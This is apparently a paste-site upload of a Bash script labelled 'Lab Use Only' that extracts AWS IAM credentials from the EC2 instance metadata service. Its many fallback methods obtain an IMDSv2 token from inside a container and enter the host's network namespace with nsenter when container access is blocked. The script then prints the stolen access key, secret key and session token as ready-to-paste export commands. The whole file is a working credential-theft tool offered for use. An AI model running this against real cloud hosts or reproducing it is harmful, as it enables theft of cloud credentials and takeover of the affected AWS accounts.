orenma icon

getIMDSv2Token.sh

orenma | PRO | 08/14/25 04:13:30 PM UTC (Edited) | 0 ⭐ | 14158 👁️ | Never ⏰ | []
Bash |

18.9 KB

|

Cybersecurity

|

0 👍

/

0 👎

#!/bin/bash
 
# Enhanced IAM Credential Extractor (Lab Use Only)
# Handles IMDSv2 token retrieval with multiple fallback methods
# Includes debugging and enhanced error handling
 
echo "==== Enhanced IAM Credential Extractor (Lab Use Only) ===="
echo ""
 
# Global variables
TOKEN=""
ROLE_NAME=""
CREDS=""
DEBUG=${DEBUG:-0}
 
# Debug function
debug_log() {
    if [ "$DEBUG" -eq 1 ]; then
        echo "[DEBUG] $1" >&2
    fi
}
 
# Enhanced metadata service check - skip token validation for connectivity test
check_metadata_access() {
    echo "[*] Checking metadata service accessibility..."
    
    # Test basic connectivity first
    if timeout 5 nc -z 169.254.169.254 80 2>/dev/null; then
        echo "[+] Port 80 is reachable on 169.254.169.254"
    else
        echo "[-] Port 80 not reachable on 169.254.169.254"
        return 1
    fi
    
    # For IMDSv2, HTTP 401 on root endpoint is expected and means service is working
    local response
    response=$(timeout 10 curl -s -w "%{http_code}" -o /dev/null http://169.254.169.254/ 2>/dev/null)
    debug_log "HTTP response code: $response"
    
    if [ "$response" -eq 200 ] || [ "$response" -eq 404 ] || [ "$response" -eq 403 ] || [ "$response" -eq 401 ]; then
        if [ "$response" -eq 401 ]; then
            echo "[+] Metadata service responding with HTTP 401 (IMDSv2 enforced - this is expected)"
        else
            echo "[+] Metadata service is responding (HTTP $response)"
        fi
        return 0
    else
        echo "[-] Metadata service not responding properly (HTTP $response)"
        return 1
    fi
}
 
# Enhanced token retrieval with multiple methods
# Enhanced token retrieval with better error handling and debugging
get_token_method1() {
    echo "[*] Method 1: Standard IMDSv2 token request..."
    
    # Make the request and capture both response and HTTP code
    local temp_output=$(mktemp)
    local temp_headers=$(mktemp)
    
    timeout 10 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
        http://169.254.169.254/latest/api/token 2>/dev/null
    
    local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
    TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
    
    rm -f "$temp_output" "$temp_headers"
    
    # Default http_code if parsing failed
    [ -z "$http_code" ] && http_code="000"
    
    debug_log "HTTP code: $http_code, Token length: ${#TOKEN}"
    debug_log "Token content: ${TOKEN:0:50}..."
    
    if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
        echo "[+] Method 1 successful - Token: ${TOKEN:0:20}..."
        return 0
    elif [ "$http_code" -eq 403 ] 2>/dev/null; then
        echo "[-] Method 1 failed - HTTP 403: IMDSv2 token requests blocked"
    elif [ "$http_code" -eq 404 ] 2>/dev/null; then
        echo "[-] Method 1 failed - HTTP 404: IMDSv2 endpoint not found"
    elif [ "$http_code" -eq 401 ] 2>/dev/null; then
        echo "[-] Method 1 failed - HTTP 401: Unauthorized token request"
    else
        echo "[-] Method 1 failed - HTTP $http_code (connection/timeout issue)"
    fi
    
    return 1
}
 
get_token_method2() {
    echo "[*] Method 2: IMDSv2 with alternative timeout and headers..."
    
    local temp_output=$(mktemp)
    local temp_headers=$(mktemp)
    
    timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" \
        -H "Connection: close" \
        http://169.254.169.254/latest/api/token 2>/dev/null
    
    local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
    TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
    
    rm -f "$temp_output" "$temp_headers"
    
    [ -z "$http_code" ] && http_code="000"
    
    debug_log "Method 2 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
    
    if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
        echo "[+] Method 2 successful - Token: ${TOKEN:0:20}..."
        return 0
    fi
    
    echo "[-] Method 2 failed - HTTP $http_code"
    return 1
}
 
get_token_method3() {
    echo "[*] Method 3: IMDSv2 with User-Agent and IPv4 binding..."
    
    local temp_output=$(mktemp)
    local temp_headers=$(mktemp)
    
    timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
        -H "User-Agent: aws-cli/2.0" \
        --ipv4 \
        http://169.254.169.254/latest/api/token 2>/dev/null
    
    local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}')
    TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
    
    rm -f "$temp_output" "$temp_headers"
    
    [ -z "$http_code" ] && http_code="000"
    
    debug_log "Method 3 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
    
    if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
        echo "[+] Method 3 successful - Token: ${TOKEN:0:20}..."
        return 0
    fi
    
    echo "[-] Method 3 failed - HTTP $http_code"
    return 1
}
 
get_token_method4() {
    echo "[*] Method 4: Using wget for token request..."
    
    if ! command -v wget >/dev/null; then
        echo "[-] Method 4 skipped - wget not available"
        return 1
    fi
    
    local temp_file=$(mktemp)
    
    # Use wget with server response
    if timeout 15 wget -q -S -O "$temp_file" \
        --method=PUT \
        --header="X-aws-ec2-metadata-token-ttl-seconds: 21600" \
        http://169.254.169.254/latest/api/token 2>&1 | grep -q "200 OK"; then
        
        TOKEN=$(cat "$temp_file" 2>/dev/null | tr -d '\r\n\t ')
        rm -f "$temp_file"
        
        if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
            echo "[+] Method 4 successful - Token: ${TOKEN:0:20}..."
            return 0
        fi
    fi
    
    rm -f "$temp_file"
    echo "[-] Method 4 failed"
    return 1
}
 
# Method 5: Try with different curl options
get_token_method5() {
    echo "[*] Method 5: Token request with alternative curl options..."
    
    # Try without interface binding, just basic curl
    local temp_output=$(mktemp)
    
    timeout 15 curl -s -o "$temp_output" \
        --max-time 10 \
        --connect-timeout 5 \
        -X PUT \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
        -w "HTTPCODE:%{http_code}" \
        http://169.254.169.254/latest/api/token 2>/dev/null > /tmp/curl_debug.out
    
    local http_code=$(grep "HTTPCODE:" /tmp/curl_debug.out 2>/dev/null | cut -d: -f2)
    TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ')
    
    rm -f "$temp_output" /tmp/curl_debug.out
    
    [ -z "$http_code" ] && http_code="000"
    
    debug_log "Method 5 - HTTP code: $http_code, Token: ${TOKEN:0:50}..."
    
    if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
        echo "[+] Method 5 successful - Token: ${TOKEN:0:20}..."
        return 0
    fi
    
    echo "[-] Method 5 failed - HTTP $http_code"
    return 1
}
 
# Method 6: Try with minimal headers
get_token_method6() {
    echo "[*] Method 6: Minimal token request..."
    
    # Sometimes containers have issues with certain headers, try minimal approach
    TOKEN=$(timeout 10 curl -s -X PUT \
        "http://169.254.169.254/latest/api/token" \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null | tr -d '\r\n\t ')
    
    debug_log "Method 6 - Token: ${TOKEN:0:50}..."
    
    if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then
        echo "[+] Method 6 successful - Token: ${TOKEN:0:20}..."
        return 0
    fi
    
    echo "[-] Method 6 failed"
    return 1
}
 
# Try all token methods with enhanced error reporting
get_token() {
    local ns="$1"
    echo "[*] Getting IMDSv2 token ($ns)..."
    
    if [ "$ns" == "container" ]; then
        # Try multiple methods in sequence
        echo "[*] Attempting container-based token retrieval..."
        get_token_method1 && return 0
        get_token_method2 && return 0
        get_token_method3 && return 0
        command -v wget >/dev/null && get_token_method4 && return 0
        get_token_method5 && return 0
        get_token_method6 && return 0
        
        echo "[-] All container token methods failed"
        echo "[!] This usually indicates:"
        echo "    1. Container has restricted IMDSv2 access"
        echo "    2. Network policy blocking metadata access"
        echo "    3. Container runtime security restrictions"
        echo "    4. EC2 instance may not have proper IMDSv2 configuration"
        
    else
        # Host namespace method
        echo "[*] Attempting host namespace token retrieval..."
        local token_result
        
        token_result=$(curl_hostns "latest/api/token" "-X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" 2>/dev/null)
        
        if [ -n "$token_result" ] && [ ${#token_result} -gt 10 ]; then
            TOKEN="$token_result"
            echo "[+] Host namespace token successful - Token: ${TOKEN:0:20}..."
            return 0
        else
            echo "[-] Host namespace token failed"
            debug_log "Host namespace token result: '$token_result'"
        fi
    fi
    
    return 1
}
 
# Enhanced role name retrieval
get_role_name() {
    local ns="$1"
    echo "[*] Getting IAM role name ($ns)..."
    
    if [ "$ns" == "container" ]; then
        # Try with different approaches
        ROLE_NAME=$(timeout 10 curl -s \
            -H "X-aws-ec2-metadata-token: $TOKEN" \
            http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
        
        # Alternative method if first fails
        if [ -z "$ROLE_NAME" ]; then
            debug_log "Trying alternative role name method..."
            ROLE_NAME=$(timeout 10 curl -s \
                -H "X-aws-ec2-metadata-token: $TOKEN" \
                -H "User-Agent: aws-cli/2.0" \
                http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
        fi
    else
        ROLE_NAME=$(curl_hostns "latest/meta-data/iam/security-credentials/" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
    fi
 
    # Clean up role name (remove whitespace/newlines)
    ROLE_NAME=$(echo "$ROLE_NAME" | tr -d '\r\n' | head -n 1)
    
    if [ -n "$ROLE_NAME" ]; then
        echo "[+] Found IAM role: $ROLE_NAME"
        return 0
    else
        echo "[-] No IAM role found"
        debug_log "Role name response was empty or invalid"
        return 1
    fi
}
 
# Enhanced credentials retrieval
get_credentials() {
    local ns="$1"
    echo "[*] Getting IAM credentials ($ns)..."
    
    if [ "$ns" == "container" ]; then
        CREDS=$(timeout 15 curl -s \
            -H "X-aws-ec2-metadata-token: $TOKEN" \
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
        
        # Try alternative method if first fails
        if [ -z "$CREDS" ] || ! echo "$CREDS" | grep -q "AccessKeyId"; then
            debug_log "Trying alternative credentials method..."
            CREDS=$(timeout 15 curl -s \
                -H "X-aws-ec2-metadata-token: $TOKEN" \
                -H "User-Agent: aws-cli/2.0" \
                "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
        fi
    else
        CREDS=$(curl_hostns "latest/meta-data/iam/security-credentials/$ROLE_NAME" "-H 'X-aws-ec2-metadata-token: $TOKEN'")
    fi
 
    debug_log "Credentials response: ${CREDS:0:100}..."
    
    if [ -n "$CREDS" ] && echo "$CREDS" | grep -q "AccessKeyId"; then
        echo "[+] Retrieved credentials successfully!"
        return 0
    else
        echo "[-] Failed to retrieve valid credentials"
        debug_log "Credentials were empty or malformed"
        return 1
    fi
}
 
# Function to get host PID (enhanced)
get_host_pid() {
    # Try multiple methods to get host PID
    local host_pid
    
    # Method 1: Docker inspect
    host_pid=$(docker inspect --format '{{.State.Pid}}' $(hostname) 2>/dev/null)
    [ -n "$host_pid" ] && echo "$host_pid" && return
    
    # Method 2: Check /proc/1/cgroup
    if [ -f /proc/1/cgroup ] && grep -q docker /proc/1/cgroup; then
        host_pid=$(ps aux | grep '[d]ockerd' | head -n 1 | awk '{print $2}' 2>/dev/null)
        [ -n "$host_pid" ] && echo "$host_pid" && return
    fi
    
    # Method 3: Try to find container runtime process
    host_pid=$(pgrep -f containerd 2>/dev/null | head -n 1)
    [ -n "$host_pid" ] && echo "$host_pid" && return
    
    return 1
}
 
# Enhanced host namespace curl
curl_hostns() {
    local path="$1"
    local token_header="$2"
    local host_pid
    
    host_pid=$(get_host_pid)
    if [ -n "$host_pid" ] && command -v nsenter &>/dev/null; then
        debug_log "Using nsenter with PID: $host_pid"
        nsenter -t "$host_pid" -n timeout 15 curl -s $token_header "http://169.254.169.254/$path" 2>/dev/null
    else
        debug_log "nsenter not available or host PID not found"
        return 1
    fi
}
 
# Enhanced credential export
export_credentials() {
    echo "[*] Parsing and exporting credentials..."
    
    # Try jq first, then fall back to grep
    if command -v jq >/dev/null 2>&1; then
        ACCESS_KEY=$(echo "$CREDS" | jq -r '.AccessKeyId' 2>/dev/null)
        SECRET_KEY=$(echo "$CREDS" | jq -r '.SecretAccessKey' 2>/dev/null)
        SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Token' 2>/dev/null)
        EXPIRATION=$(echo "$CREDS" | jq -r '.Expiration' 2>/dev/null)
    else
        ACCESS_KEY=$(echo "$CREDS" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
        SECRET_KEY=$(echo "$CREDS" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
        SESSION_TOKEN=$(echo "$CREDS" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
        EXPIRATION=$(echo "$CREDS" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
    fi
 
    debug_log "Parsed - AccessKey: ${ACCESS_KEY:0:10}..., SecretKey: ${SECRET_KEY:0:10}..., Token: ${SESSION_TOKEN:0:20}..."
 
    if [ -n "$ACCESS_KEY" ] && [ -n "$SECRET_KEY" ] && [ -n "$SESSION_TOKEN" ]; then
        echo ""
        echo "============================================"
        echo "# 🎯 AWS Credentials Successfully Retrieved!"
        echo "============================================"
        echo ""
        echo "# Copy and paste these commands:"
        echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
        echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
        echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
        echo ""
        if [ -n "$EXPIRATION" ]; then
            echo "# Credentials expire at: $EXPIRATION"
            echo ""
        fi
        echo "# Verify with: aws sts get-caller-identity"
        echo "============================================"
        return 0
    else
        echo "[-] Failed to parse credentials properly"
        debug_log "Raw credentials: $CREDS"
        return 1
    fi
}
 
# Enhanced debugging mode with network diagnostics
enable_debug() {
    export DEBUG=1
    echo "[DEBUG] Debug mode enabled"
    echo "[DEBUG] Container ID: $(hostname)"
    echo "[DEBUG] Available tools: curl=$(command -v curl), wget=$(command -v wget), jq=$(command -v jq), nsenter=$(command -v nsenter)"
    echo "[DEBUG] Container environment:"
    echo "[DEBUG]   - Docker env file: $([ -f /.dockerenv ] && echo "Present" || echo "Not found")"
    echo "[DEBUG]   - Cgroup: $(head -n 1 /proc/1/cgroup 2>/dev/null | grep -o 'docker\|containerd\|podman' || echo "Unknown")"
    echo "[DEBUG] Network interfaces:"
    ip addr show 2>/dev/null | grep -E "(inet|UP)" || ifconfig 2>/dev/null | grep -E "(inet|UP)"
    echo "[DEBUG] Default route:"
    ip route show default 2>/dev/null || route -n 2>/dev/null | grep "^0.0.0.0"
    echo "[DEBUG] DNS configuration:"
    cat /etc/resolv.conf 2>/dev/null | head -3
    echo "[DEBUG] Testing basic connectivity to metadata service:"
    
    # Test raw connectivity
    timeout 5 nc -z 169.254.169.254 80 2>/dev/null && echo "[DEBUG]   - Port 80: OPEN" || echo "[DEBUG]   - Port 80: CLOSED/FILTERED"
    
    # Test with ping (if available)
    if command -v ping >/dev/null; then
        timeout 3 ping -c 1 169.254.169.254 >/dev/null 2>&1 && echo "[DEBUG]   - Ping: SUCCESS" || echo "[DEBUG]   - Ping: FAILED"
    fi
    
    # Test HTTP response
    local test_response
    test_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code} TIME:%{time_total}" http://169.254.169.254/ 2>/dev/null)
    echo "[DEBUG]   - HTTP test: $test_response"
}
 
# Main execution with enhanced error handling
main() {
    # Check if debug mode requested
    if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
        enable_debug
    fi
    
    echo "[*] Starting container-based IMDSv2 credential extraction..."
    
    # Check if we're in a container
    if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
        echo "[+] Container environment detected"
    else
        echo "[!] Warning: Not in a container environment"
    fi
    
    # Try container network first
    if check_metadata_access; then
        echo "[*] Attempting credential extraction from container namespace..."
        if get_token "container" && get_role_name "container" && get_credentials "container"; then
            if export_credentials; then
                exit 0
            fi
        fi
    fi
 
    echo ""
    echo "[*] Container method failed, attempting host network namespace..."
    
    # Check prerequisites for host namespace method
    if ! command -v nsenter >/dev/null; then
        echo "[-] nsenter not available - cannot try host namespace method"
        echo "[!] Try: apt-get update && apt-get install -y util-linux"
    elif ! get_host_pid >/dev/null; then
        echo "[-] Cannot determine host PID - host namespace method unavailable"
    else
        if get_token "hostns" && get_role_name "hostns" && get_credentials "hostns"; then
            if export_credentials; then
                exit 0
            fi
        fi
    fi
 
    echo ""
    echo "============================================"
    echo "[-] ❌ Could not retrieve credentials"
    echo "============================================"
    echo ""
    echo "Possible issues:"
    echo "1. IMDSv2 is enforced but container has limited access"
    echo "2. Container is not running on an EC2 instance with IAM role"
    echo "3. Network restrictions prevent metadata access"
    echo "4. Container runtime restrictions"
    echo ""
    echo "Try running with debug mode: $0 --debug"
    echo "============================================"
    
    exit 1
}
 
# Run with all arguments
main "$@"

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎